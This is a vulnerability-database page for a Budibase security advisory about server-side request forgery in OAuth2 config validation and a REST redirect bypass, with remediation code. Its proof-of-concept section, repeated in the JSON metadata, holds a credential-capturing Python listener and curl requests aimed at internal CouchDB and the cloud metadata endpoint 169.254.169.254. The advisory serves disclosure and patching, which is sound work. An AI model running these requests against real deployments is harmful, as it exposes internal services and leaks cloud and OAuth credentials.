GHSA-G6QX-G4PR-92V7

Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08
VLAI
Summary
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Details

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!
  // ...
}

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
  await blacklist.isBlacklisted(url)  // Checks against internal IPs
  const response = await fetch(url, { ...opts, redirect: "manual" })
  // Re-checks every redirect target
}

Where fetchWithBlacklist IS used (consistency gap proof): - automations/steps/discord.ts — Discord webhook - automations/steps/slack.ts — Slack webhook - automations/steps/make.ts — Make.com integration - automations/steps/n8n.ts — n8n integration - automations/steps/zapier.ts — Zapier integration - automations/steps/outgoingWebhook.ts — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads

Where it is NOT used: - sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'SSRF: {self.path} | Body: {body.decode()}')
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &

# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL

# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'

# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

  • Internal service access — CouchDB (default port 5984), Redis, internal APIs
  • Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
  • Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
  • Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetchWithBlacklist(config.url, fetchConfig)
  // ...
}

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:08:28Z",
    "nvd_published_at": "2026-05-27T18:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code \u2014 `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` \u2014 Discord webhook\n- `automations/steps/slack.ts` \u2014 Slack webhook\n- `automations/steps/make.ts` \u2014 Make.com integration\n- `automations/steps/n8n.ts` \u2014 n8n integration\n- `automations/steps/zapier.ts` \u2014 Zapier integration\n- `automations/steps/outgoingWebhook.ts` \u2014 Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` \u2014 OAuth2 token fetch \u2190 **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\u0027Content-Length\u0027, 0))\n        body = self.rfile.read(length)\n        print(f\u0027SSRF: {self.path} | Body: {body.decode()}\u0027)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(b\u0027{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}\u0027)\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9999), H).serve_forever()\n\" \u0026\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}\u0027\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} \u2014 confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** \u2014 CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** \u2014 AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** \u2014 OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** \u2014 Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.",
  "id": "GHSA-g6qx-g4pr-92v7",
  "modified": "2026-06-12T15:08:28Z",
  "published": "2026-06-12T15:08:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…